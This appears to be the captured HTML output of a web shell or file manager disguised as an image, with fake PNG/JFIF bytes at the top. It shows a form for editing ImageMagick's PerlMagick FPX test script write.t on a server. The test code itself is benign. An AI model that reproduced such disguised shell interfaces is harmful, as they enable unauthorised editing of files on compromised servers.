�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2F'>ImageMagick-7.1.2-30</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2FPerlMagick%2F'>PerlMagick</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2FPerlMagick%2Ft%2F'>t</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2FPerlMagick%2Ft%2Ffpx%2F'>fpx</a>/</p><hr><h3>✏️ Editing: write.t</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl
#
# Test writing FPX images
#
# Contributed by Bob Friesenhahn &lt;bfriesen@simple.dallas.tx.us&gt;
#
BEGIN { $| = 1; $test=1; print &quot;1..4\n&quot;; }
END {print &quot;not ok $test\n&quot; unless $loaded;}

use Image::Magick;
$loaded=1;

require &#039;t/subroutines.pl&#039;;

chdir &#039;t/fpx&#039; || die &#039;Cd failed&#039;;

#
# 1) Test Black-and-white, bit_depth=1 FPX
# 
print( &quot;1-bit grayscale FPX ...\n&quot; );
testReadWrite( &#039;input_bw.fpx&#039;, &#039;output_bw.fpx&#039;, q/quality=&gt;95/,
   &#039;164b30b0e46fab4b60ea891a0f13c1ec2e3c9558e647c75021f7bd2935fe1e46&#039;);

#
# 2) Test grayscale image
#
++$test;
print( &quot;8-bit grayscale FPX ...\n&quot; );
testReadWrite( &#039;input_grayscale.fpx&#039;,
   &#039;output_grayscale.fpx&#039;, &#039;&#039;,
   &#039;74416d622acf60c213b8dd0a4ba9ab4a46581daa8b7b4a084658fb5ae2ad1e4b&#039;);
#
# 3) Test pseudocolor image
#
++$test;
print( &quot;8-bit indexed-color FPX ...\n&quot; );
testReadWrite( &#039;input_256.fpx&#039;,
   &#039;output_256.fpx&#039;,
   q/quality=&gt;54/,
   &#039;772ef079906aa47951a09cd4ce6d62b740a391935710e7076a6716423a92db4f&#039; );
#
# 4) Test truecolor image
#
++$test;
print( &quot;24-bit Truecolor FPX ...\n&quot; );
testReadWrite( &#039;input_truecolor.fpx&#039;,
   &#039;output_truecolor.fpx&#039;,
   q/quality=&gt;55/,
   &#039;a698f2fe0c6c31f83d19554a6ec02bac79c961dd9a87e7ed217752e75eb615d7&#039; );
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2FPerlMagick%2Ft%2Ffpx'>🔙 Back</a></p>